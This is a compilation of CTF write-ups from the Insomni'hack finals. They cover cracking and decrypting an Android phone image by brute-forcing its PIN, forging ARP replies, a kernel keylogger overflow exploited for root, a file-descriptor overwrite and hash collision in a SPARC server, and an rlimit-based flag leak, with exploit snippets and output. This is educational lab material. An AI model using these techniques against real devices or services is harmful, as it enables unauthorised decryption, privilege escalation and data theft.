Insomni’hack finals – InsomniDroid Level 1 Writeup

The challenge was delivered as a zip file ( The first challenge was perhaps to download it (with its 602.5 MiB). The zip file contains a single file: mmcblk0.dd. A file command gives some information:

$ file mmcblk0.dd

mmcblk0.dd: x86 boot sector; partition 1: ID=0xc, starthead 0, startsector 1, 212991 sectors; partition 2: ID=0x4d, active, starthead 0, startsector 212992, 1000 sectors; partition 3: ID=0x46, starthead 0, startsector 213992, 7192 sectors; partition 4: ID=0x5, starthead 0, startsector 221184, 7512064 sectors, code offset 0x0

I am using Mac OS X, but it is not the best platform to study Android. So let’s switch to Linux (for example Kali Linux or Santoku). The command fdisk gives the complete list of partitions:

$ fdisk -l mmcblk0.dd

Disk mmcblk0.dd: 3959 MB, 3959422976 bytes
1 heads, 63 sectors/track, 122749 cylinders, total 7733248 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
mmcblk0.dd1 1 212991 106495+ c W95 FAT32 (LBA)
mmcblk0.dd2 * 212992 213991 500 4d QNX4.x
mmcblk0.dd3 213992 221183 3596 46 Unknown
mmcblk0.dd4 221184 7733247 3756032 5 Extended
mmcblk0.dd5 229376 239615 5120 47 Unknown
mmcblk0.dd6 245760 285759 20000 49 Unknown
mmcblk0.dd7 286720 292863 3072 58 Unknown
mmcblk0.dd8 294912 306175 5632 48 Unknown
mmcblk0.dd9 311296 324271 6488 50 OnTrack DM
mmcblk0.dd10 327680 333823 3072 4a Unknown
mmcblk0.dd11 335872 342015 3072 4b Unknown
mmcblk0.dd12 344064 360447 8192 90 Unknown
mmcblk0.dd13 360448 375807 7680 91 Unknown
mmcblk0.dd14 376832 387071 5120 92 Unknown
mmcblk0.dd15 393216 1488895 547840 93 Amoeba
mmcblk0.dd16 1490944 1613823 61440 94 Amoeba BBT
mmcblk0.dd17 1613824 3887103 1136640 95 Unknown
mmcblk0.dd18 3891200 3993599 51200 96 Unknown
mmcblk0.dd19 3997696 3998695 500 97 Unknown
mmcblk0.dd20 4005888 4013079 3596 98 Unknown
mmcblk0.dd21 4014080 4024319 5120 99 Unknown
mmcblk0.dd22 4030464 4070463 20000 9a Unknown
mmcblk0.dd23 4071424 4081663 5120 9b Unknown
mmcblk0.dd24 4087808 4101807 7000 9c Unknown
mmcblk0.dd25 4104192 4114431 5120 9d Unknown
mmcblk0.dd26 4120576 4130815 5120 9e Unknown
mmcblk0.dd27 4136960 4147199 5120 9f BSD/OS
mmcblk0.dd28 4153344 7733247 1789952 a0 IBM Thinkpad hibernation

So we have 28 partitions with some strange systems. We can try to identify partitions one by one and hope we will be able to read something useful, but there is another way. The description of the challenge says that “The device is a Samsung W (GT-I8150) and apparently it runs the Cyanogen flavour of Android KitKat.” This device is not officially supported by Cyanogen, but there is an unofficial port:

The port is published in GitHub:

Be sure to select the “cm-11.0” branch and you have the complete project. Inside “rootdir”, you find:

The interesting file is “fstab.qcom”. As its name indicates, it gives the file system table:


So the 17th partition is /system and the 28th one is /data. In fact, it is not difficult to guess it because they are the biggest partitions. Something more interesting is the complete line regarding /data:

/dev/block/mmcblk0p28 /data ext4 noatime,nosuid,nodev,data=ordered,

Data is encrypted (as stated in the description of the challenge) and the length of the footer is 16384 bytes (as it is often the case). OK, this is the lazy way (i.e. Google way). But this “fstab.qcom” file is somewhere in the bit-per-bit copy, isn’t it? Why not extract it directly to be sure of its content. Because it is more complicated and I am lazy. But since you are a nice girl, I will show you how to extract this file. This file is in the root partition. But how to identify this partition? Well, on Samsung devices, it has often ID 0x48. To confirm which partition is the right one, we can use the PIT. On Samsung devices, PIT (Partition Information Table) describes the formatting of the memory of the mobile:


So, the partition (boot.img) we are looking for is:

mmcblk0.dd8 294912 306175 5632 48 Unknown

To extract boot.img, we can use the famous DD command:

$ dd if=mmcblk0.dd of=boot.img bs=512 skip= 294912 count=$((306175-294912 +1))

The block size (512) is indicated by fdisk (Units = 512 bytes), skip is given by “Start” and count is simply the difference between Start and End (plus 1 because it includes the End sector).

boot.img (like recovery images) are packaged with mkbootimg. We need an equivalent tool to unpack it (personally, I am using bootimg-tools from

$ ./unmkbootimg -i boot.img

It extracts the kernel and the ram disk. It is not finished! The ram disk is archived and compressed with gzip and cpio. So to decompress:

$ gunzip -c ramdisk.cpio.gz | cpio -i

We have our files! We get our fstab.qcom, identical to the other one found on GitHub. Google-way is more simple, isn’t it?

So we have to decrypt the user partition without knowing the password. We first need to extract the partition data:

$ dd if=mmcblk0.dd of=mmcblk0p28.dd bs=512 skip=4153344 count=$((7733247-4153344+1))

Again, the block size (512) is indicated by fdisk (Units = 512 bytes), skip is given by “Start” and count is simply the difference between Start and End (plus 1 because it includes the End sector). It gives a file of 1.8 GiB.

In order to decrypt it, Google is again our friend and replies with a blog article from Nikolay Elenkov

By the way, all the articles of this blog are fantastic and Nikolay is also the author of “Android Security Internals” book. If you are interested by Android security, you have to read it.

But let’s go back to our challenge. Nikolay has adapted a script (from Santoku Linux) for KitKat (Android 4.4) and it is published on GitHub:

To run this script, you need a header, a footer and the maximum length of the PIN code. It says that it will take around 5 minutes to try 1200 PIN combinations, so let’s try that.

The footer is… the footer. We just need its size. This is exactly what we retrieved from fstab (16384).

$ dd if=mmcblk0p28.dd bs=1 count=16384 skip=1832894464 of=footer.dd

1832894464 is the difference between the size of our encrypted file (1832910848) and 16384.

The header is the beginning of our data and is just only to check if the decryption succeed or not:

$ dd if=mmcblk0p28.dd bs=1 count=512 of=header.dd

And now, we can try to brute force, like in the example of Nikolay:

$ python header.dd footer.dd

Be sure to have M2Crypto and script installed. On Mac OS X, you may also need to install version 3.0.4 (not 3.0.5) of Swig. It depends of your computer, but around 6 minutes later, you will get:

Trying: 1964
Trying: 1965
Trying: 1966
Trying: 1967
Trying: 1968
Trying: 1969
Trying: 1970
Found PIN!: 1970

No, it is not the year of my birth. We found the PIN code, great. But we now have to decrypt the data. It is not very complicated to adapt to decrypt, but there is another way: using Linux and cryptsetup. All we need is the key in an appropriate format. already contains appropriate code (decryptDecodeScryptKey function). We can make a generic script to handle different cases such as:

import sys
from os import path
import struct
from bruteforce_stdcrypto import *

def getDecryptionKey(footer, pin):
	cryptoFooter = getCryptoData(footer)

	# make the decryption key from the password
	decKey = ''
	if cryptoFooter.kdf == KDF_PBKDF:
		decKey = decryptDecodePbkdf2Key(cryptoFooter, pin)
	elif cryptoFooter.kdf == KDF_SCRYPT:
		decKey = decryptDecodeScryptKey(cryptoFooter, pin)
		raise Exception("Unknown or unsupported KDF: " + str(cryptoFooter.kdf))

	return decKey

def main(args):

	if len(args) < 2:
		print 'Usage: python [footer file] [pin]'
		print '[] = Mandatory'
		print ''
		# use inputed filenames for the two files
		footerFile  = args[1]
		pin 		= args[2]

		assert path.isfile(footerFile), "Footer file '%s' not found." % footerFile
		footerSize = path.getsize(footerFile)

		assert (footerSize >= 16384), "Input file '%s' must be at least 16384 bytes" % footerFile

		decKey = getDecryptionKey(footerFile, pin)
		print 'Key: ', decKey.encode('hex').upper()

if __name__ == "__main__":

If we execute it with appropriate parameters:

$ python footer.dd 1970

It gives:

Android FDE crypto footer
Magic : 0xD0B5B1C4
Major Version : 1
Minor Version : 2
Footer Size : 192 bytes
Flags : 0x00000000
Key Size : 128 bits
Failed Decrypts : 0
Crypto Type : aes-cbc-essiv:sha256
Encrypted Key : 0x0CB33742A157543F46111448FC63BC10
Salt : 0xE53FD71CF38B6E3BE0BF6C9FC824C104
KDF : scrypt
N_factor : 15 (N=32768)
r_factor : 3 (r=8)
p_factor : 1 (p=2)
Key: FF6D9DEB77BA1120E355D5F95F9B5BE3

We have our key! It is also saved in a file named “decryption.key”.

We now have all we need. First, we setup a loop device, then we setup disk decryption and then we mount the device:

$ losetup /dev/loop3 mmcblk0p28.dd
$ cryptsetup --type plain open -c aes-cbc-essiv:sha256 -s 128 -d decryption.key /dev/loop3 userdata
$ mkdir mnt
$ mount /dev/mapper/userdata mnt

We have now access to decrypted data:

$ ls -l mnt

total 164
drwxrwxr-x. 2 1000 inetsim 4096 Oct 6 15:45 anr
drwxrwx--x. 2 1000 inetsim 4096 Feb 24 06:20 app
drwx------. 2 root root 4096 Oct 6 15:42 app-asec
drwxrwx--x. 3 1000 inetsim 4096 Feb 24 06:20 app-lib
drwxrwx--x. 2 1000 inetsim 4096 Oct 6 15:42 app-private
drwx------. 5 1000 inetsim 4096 Oct 6 15:45 backup
lrwxrwxrwx. 1 root root 45 Oct 6 15:42 bugreports -> /data/data/
drwxrwx--x. 2 1000 inetsim 4096 Feb 24 06:20 dalvik-cache
drwxrwx--x. 89 1000 inetsim 4096 Feb 24 06:20 data
drwxr-x---. 2 root 1007 4096 Oct 6 15:42 dontpanic
drwxrwx---. 3 1019 1019 4096 Oct 6 15:46 drm
-rw-rw-rw-. 1 root root 138 Feb 24 09:39 FLAG1.txt
drwxr-x--x. 3 root root 4096 Oct 6 15:42 local
drwxrwxr-x. 2 1000 1007 4096 Oct 6 15:42 log
drwxrwx---. 2 root root 4096 Dec 31 1969 lost+found
drwxrwx---. 5 1023 1023 4096 Oct 6 15:45 media
drwxrwx---. 2 1031 1031 4096 Oct 6 15:42 mediadrm
drwxrwx--t. 16 1000 9998 4096 Jan 7 14:15 misc
drwx------. 2 root root 4096 Feb 23 02:30 property
drwxrwx---. 2 1001 1001 4096 Oct 6 15:42 radio
drwxrwx--x. 2 1000 inetsim 4096 Oct 6 15:42 resource-cache
drwx--x--x. 2 1000 inetsim 4096 Oct 6 15:42 security
drwxr-x---. 3 root 2000 4096 Feb 19 17:16 ssh
drwxrwxr-x. 13 1000 inetsim 4096 Feb 24 09:53 system
drwx------. 2 1000 inetsim 4096 Feb 20 07:56 tombstones
drwx--x--x. 2 1000 inetsim 4096 Oct 6 15:42 user

There is a file named “FLAG1.txt” and it contains:

$ cat FLAG1.txt

Congratulations, you found the first flag:

You can now try to crack the application to get the second flag...

By the way, the application in question is in app and its files in data.

When you have retrieved data, do simply:

$ umount mnt
$ cryptsetup close user data
$ losetup -d /dev/loop3

See you next year!

Insomni’hack finals – Hollywood network writeup

You probably saw on many ‘hackers movies’ weird IP address such a 312.5.125.833. On this challenge, you had to connect on a fake IBM mainframe running on this strange IP stack. After the Z/OS banner, you had to get a shell with “L IMS3270”. No guessing here, it’s simply one of the three suggestions. On the READY prompt, you had a bunch of crappy commands extracted from the Swordfish movie. Only FLAG, IFCONFIG worked. FLAG expects an IP address as parameter. Since this mainframe runs on a non-standard IP stack, you can’t simply enter your IPv4 address. So you have to get a look at the IFCONFIG output:

EZZ2700| Home address list:
EZZ2701| Address       Netmask          Link       Flg
EZZ2702| -------       -------          -------    ---
EZZ2703| 312.5.125.833 1023.1023.1023.0 CTC1       P
EZZ2703| 511.0.0.1     1023.0.0.0       LOOPBACK

We can see a 4x 10 bits netmask.

Trying to use 511.0.0.1 or 312.5.125.833 will send the flag to the loopback address. Useless.

Trying to send to anything other than 312.5.125.x will get rejected with a Network is unreachable. The only thing that seems to do some work is to specify a host in the same net range, but all we get is a “No route to host”.

Somehow the system must translate this IP-like protocol into a link layer address. Let’s start Wireshark and display ARP packets.


This one looks suspect. Wireshark shows a hex address instead of an IPv4 address. Digging into this ARP packet shows interesting properties:

  • Unknown protocol 0x8505 (instead of 0x0800 for IPv4)
  • Protocol size: 5 (instead of 4 for IPv4). The size is in byte, so 5 x 8 = 40 bits.
  • Protocol address in hex. 4e0051f741 is 312.5.125.833 in 4 x 10 bits big endian. 4e0041f742 is what we entered (here 312.5.125.834)

ARP is able to handle oversized IP! What we have to do now is to reply.

We don’t really have to decode the IP like address, or doing any fancy computation. We only have to reuse the incoming ARP packet, set the opcode to 2 (reply) and swap sender/target. Finally we have to fill the sender MAC with our own address.


If successful (and fast enough), the server sends back a packet. If we force Wireshark to decode it as an IPv4 packet, the structure is close enough to be properly decoded. We can find the flag in the data.


Insomni’hack finals – SH1TTY writeup

This challenge wasn’t solved during the CTF, but StratumAuhuur was pretty close!
The source, binary and exploit for this challenge can be found on our github here.

Description: “Can you write a kernel exploit with your bare hands?”
Also because our theme this year was trolling hollywood hacks, the following video from NCIS was linked:

sh1tty was a very basic kernel keylogger, implemented as a module. There are various places where such a keylogger can be implemented, I chose the TTY layer. To do so it creates a new line discipline (ldisc), inherited from the base N_TTY one, replaces that ldisc’s ops->receive_buf2 function pointer with the keylogging part, and replaces N_TTY with our new ldisc.

It had two modes: DUMB and SMART (not so much, but meh.).
In DUMB mode it logs every input to /root/log_tty<TTY_NUMBER>, and in SMART mode it restricts the keylogging to passwords only, and stores it to /root/pw_<TTY_NUMBER>.
To switch to SMART mode, one only needs to type G1v3m3p4ssw0rdz on the keyboard (no <enter> required!).

In SMART mode, before a password is written to the log file, it is formatted using a stack variable in the log_bytes_to_file function, which can be overflowed:

#define BUFFER_MAX_SIZE 512
#define LOG_MAX_SIZE 200

Where BUFFER is our heap buffer that contains all keys pressed before r (yeah, the kernel receives a r when you press enter, not a n, surprise?), and LOG is the stack variable. A dumb vuln for that so called smart-mode, right?

Now this would look like an easy win, but there are a few things that hinder exploitation.

First, you cannot write to any file on the filesystem, all are owned by root (on purpose, obviously), which means you cannot just upload your exploit on the VM and return to userland. fu?

So you’ll need to stay in the kernel. Stack and heap are not RWX on linux x64, so you’re likely going to need ROP.
No real trouble if the payload is simply commit_creds(prepare_kernel_cred(0))

But, the second thing is, during the exploit triggering phase, you are not executing within your shell task’s context, but in a kworker. I don’t know exactly how these work (and more generaly, I have no idea what I’m doing :>), but that raises the following problems:

  • the generic privilege escalation payload from above wouldn’t be executed on a useful task
  • we don’t know the kworker‘s userland, so appending a “swapgs ; iretq” gadget to our ropchain would probably not work as we are going to crash in userland, and who knows what will happen with a kworker

To work around these issues my idea was to execute the following payload and to clean up the stack and registers so the kernel continues peacefully:

pid = find_get_pid(shell_pid);
task = get_pid_task(pid);
creds = prepare_kernel_cred(0);
task->cred = creds;

3 ways to do this (that I can think of):

  • full ROP: no reason it shouldn’t work ; I was simply concerned it might take too much stack space and would’nt be as easy to test & fix eventual stack/register cleaning stuff
  • make the kernel stack executable with set_memory_x() : I tried but that wouldn’t work except if run in a loop for some reason… if anyone has any idea why, please tell me! (flush issue?)
  • move a shellcode to an already RWX section

While the last two solutions are not perfect (wouldn’t work against grsec for example), I chose to move a shellcode to the keylogger module’s bss section, which for some reason is RWX…

The full exploit is included in the source code. It’s not perfect but it does the job reliably as far as the challenge goes.

awe@awe-laptop ~/insomnihack/sh1tty/chall $ ./
[+] Connecting to server...
[+] Going to SMART mode...
[+] Getting our shell task's pid...
[+] Obtained current task (shell) pid: 428
[+] Typing a password...
[+] Generating shellcode...
[+] Sending payload...
[+] Interact...
stty -echo
[PEXPECT]$ [PEXPECT]$ [PEXPECT]$ [PEXPECT]$ [PEXPECT]$ sh: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������BBBBCCCC=�����p: not found
uid=0(root) gid=0
[PEXPECT]# cat root/flag
INS{My name? I've had a few. You can call me root.}

Congratz to tsuro from Stratum for being so close to solve the challenge during the CTF!

Insomni’hack finals – Jurassic Sparc writeup

This task wasn’t solved during the CTF. People must hate sparc!

Find the binary, sources and exploit here!

In this task you were provided a sparc server binary and a python client, which was a Tkinter GUI. The client had an automatic animation reproducing the commands that are entered in the famous Jurassic Park video :


The communication is established with a custom binary protocol, but the good news is, you can use the file, which defines the basic structures and functions that are used throughout the client-server exchanges. So you don’t need to reverse everything! However as we are going to see the sparc syntax may be awful and IDA wasn’t helping much, which is where most teams stopped, unfortunately.
Also worth noting is the AnimationAccessSecurityGrid.animate method, which is called when the client checks the user authentication. It turns out to be the only code that calls protocol.authenticate.
The latest reveals that you need both valid credentials (user/password) and to provide the magic word (all of which can be edited within the GUI).

Now based on the file you also know that an authentication packet has type 1, and a reboot packet has type 2. There are no other commands that the client can send. That allows to quickly identify within the client handle loop (sub_D80) the calls to the reboot command (sub_1B70, named cmd_reboot from now on) and authentication command (sub_18B8, cmd_auth).
Reversing the binary isn’t so easy because IDA doesn’t resolve strings, that are constructed like this (starting with the cmd_reboot function):

... [start of a function ] ...
.text:00001B74 sethi %hi(0x12400), %l7
.text:00001B78 call sub_D60 -> retl ; add %o7, %l7, %l7
.text:00001B7C inc 0x54, %l7
... [later] ...
.text:00001BEC sethi %hi(0x11C00), %o0
.text:00001BF0 btog -0x3CC, %o0
.text:00001BF4 add %l7, %o0, %o0 ! path

We can then extract the strings as follows within the output window in IDA:

Python> l7 = 0x12400 + 0x1B78 + 0x54
Python> GetString((0x11c00 ^ -0x3CC) + l7)
Python> GetString((0x11c00 ^ -0x394) + l7)
Python> GetString((0x11c00 ^ -0x374) + l7)
Reboot: failed to perform backup...
Python> GetString((0x11c00 ^ -0x3AC) + l7)
Message too long

Now we can reverse the cmd_reboot function, which:

  1. fails with “Message too long” if the provided message’s length is >= 200
  2. opens in_fd = open("./credsdb", O_RDONLY);
  3. opens out_fd = open("/dev/null", O_WRONLY);
  4. creates a string on the stack:
    var_D4 = 'Rebo'
    var_D0 = 'ot: '
    memcpy(var_CB, your_message, your_message_length)
  5. does fstat on the credsdb to extract the size
  6. sendfile(out_fd, in_fd, filesize)

The stack layout is [ var_D4 ][ var_D0 ][ var_CC ][ in_fd ][ out_fd ][ var_4 ].
We have a limited size buffer overflow (7 bytes, big endian) which allows us to rewrite the file descriptors.
As a result, we can make the server send us the database (fd 4 is our client handle, fd 3 was closed after fork):

import struct
import hexdump
from protocol import *

jp = JurassicProtocol("localhost", 9090,0xB16B00B5 )
payload = "A" * 191 + struct.pack(">II", 3, 4)
jp.send_packet(PACKET_REBOOT, payload)

Now back to cmd_auth : this function opens the credsdb file and loops until it finds a login that matches ours with strncmp, then it creates a checksum of our password using the sha512 function, and compares it with the database password using strncmp as well. One should not compare a raw hash using a string function, and that was indeed an issue since at least one user had a null byte in one of the first bytes of his hash :

00000370 52 6f 62 65 72 74 4d 75 6c 64 6f 6f 6e 00 00 00 |RobertMuldoon...| <- login
00000380 4c 75 c4 08 c6 8d 2b 99 63 04 40 38 2b a4 c8 eb |Lu....+.c.@8+...| <- hash
00000390 69 55 61 b3 0d 2c 2c b0 1d c1 cc b2 a8 2d 6d 90 |iUa..,,......-m.|
000003a0 72 67 19 1a ad 82 bc 7c fd 86 dc 75 da 20 43 c9 |rg.....|...u. C.|
000003b0 39 71 b1 5d 34 d9 ee b4 63 95 ff bc df 3b 5f 67 |9q.]4...c....;_g|
000003c0 44 65 6e 6e 69 73 4e 65 64 72 79 00 00 00 00 00 |DennisNedry.....| <- login
000003d0 d2 93 00 b7 c9 ac 12 7b f2 5b 59 f7 05 5e db 53 |.......{.[Y..^.S| <- hash
000003e0 03 8a 92 5e 5c 45 50 68 98 0c c7 e5 ed d4 30 1c |...^EPh......0.|
000003f0 5b 30 e8 c3 d9 65 0d 5d b5 61 9e a8 af 8a 8b 5c |[0...e.].a.....|
00000400 a7 45 27 3e 0f f6 1b 2b 86 70 13 75 ae 9c dd bc |.E'>...+.p.u....|

This can be brute-forced easily to find a collision. An example password whose hash starts with “d2 93 00” is “22320540“.
Now the only missing piece in the puzzle is the magic word.
From AnimationAccessSecurityGrid.animate in the python code we know that the return value of cmd_auth is:

  • 0 if auth failed
  • 1 if auth failed and/or magic is wrong
  • 2 if auth & magic word are ok

Thus simply looking at cmd_auth‘s graph we can deduce that the following snippet of code is in charge of the magic word comparison (we know from that magic is an uint64):


which gives us…

>>> print hex((0xB17 << 32) | ctypes.c_uint32(-0x3B681800 ^ 0x25e).value)

When both the credentials and the magic word are valid, the cmd_auth function returns the flag, which should be directly printed in the GUI, however it seems I messed up something when removing the intended second part :/, so you had to to it from python:

jp = JurassicProtocol("localhost", 9090, 0xB17C497EA5E)
print jp.authenticate("DennisNedry", "22320540")
print jp.s.recv(0x1000) # Shouldn't be needed :/

Flag for Jurassic Sparc part 1 - INS{reboot is _always_ the solution}

Insomni’hack finals – smtpwn writeup

This challenge was solved by several teams during the contest, however it seems that most teams didn’t have the intended solution, so here it is 😉
The source, binary and exploit for this challenge can be found on our github here!
smtpwn was a very simple local SMTP service. Basically you write a message to its stdin, and it’ll write a file to /tmp/ with the following content:

Message-ID: <urandom_hex_string>rn
From: "fromuser" <fromuser@hostname>rn
To: "touser" <touser@hostname>rn
Date: current_datetimern
X-Flag: the_flagrn
Subject: Read this message to get the flag!rn

Where you control or known every variable except the urandom_hex_string used as a message-id, and the flag.
Now the program works as follows:

  1. retrieve all variables used in the message in the following order: the message on stdin, the username, hostname, current date, the flag, and the random message-id.
  2. create the output file, which name is /tmp/mail_<time>_<message-id>, and write the message to it.
  3. print the message id and the output file checksum
  4. destroy the output file

The new file can only be read by its owner, which is the setuid one. So you cannot just make stdout blocking, read the message-id and read the file before unlink is called.

The random string is problematic, because you can’t guess it nor brute-force it. The trick here lies in the way error handling was performed: the message “An error occured” is printed but the program doesn’t exit.

if (/* ... snip ...*/
    /* read flag */
    ((flag_fd = open(FLAG_PATH, O_RDONLY)) == -1) ||
    (read(flag_fd, msg->flag, FLAG_SIZE) < 0) ||

    /* generate random Message-ID */
    ((urandom_fd = open(RANDOM_PATH, O_RDONLY)) == -1) ||
    (read(urandom_fd, random, sizeof(random)) != sizeof(random)) ||
    (hexdigest(msg->id, random, sizeof(random)))
) {


Because the flag is opened before /dev/urandom and not closed yet, you can cause a file descriptor exhaustion bug to happen, which would leave the random message-id initialized with null bytes.
That can be trivially done using ulimit (or setting RLIMIT_NOFILE to 4 with setrlimit()).

Many teams just stopped there and then performed a race condition by creating a hardlink so they can read the flag file. Which I didn’t really think of (fail). However there’s a “cleaner” solution, which involves ulimit / setrlimit again.

Because we now know the message-id (null bytes), the only thing left that we don’t know is the flag itself. Remember that the checksum of the file written to disk is provided. We can use that information to leak the flag byte by byte, proceeding as follows:

  1. set RLIMIT_NOFILE to 4 to bypass /dev/urandom
  2. set RLIMIT_FSIZE so that the program cannot write more than X+1 bytes, X being the number of bytes before the flag
  3. launch smtpwn and check out the checksum
  4. bruteforce the last byte (255 possibilities) until we match the checksum
  5. repeat with RLIMIT_FSIZE += 1

The exploit can be found on github here.

This allows to retrieve the flag quickly (and reliably):

[+] I
[+] IN
[+] INS
[+] INS{
[+] INS{M
[+] INS{M4
* snip *
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3l
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf}
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf}

Final flag: INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf}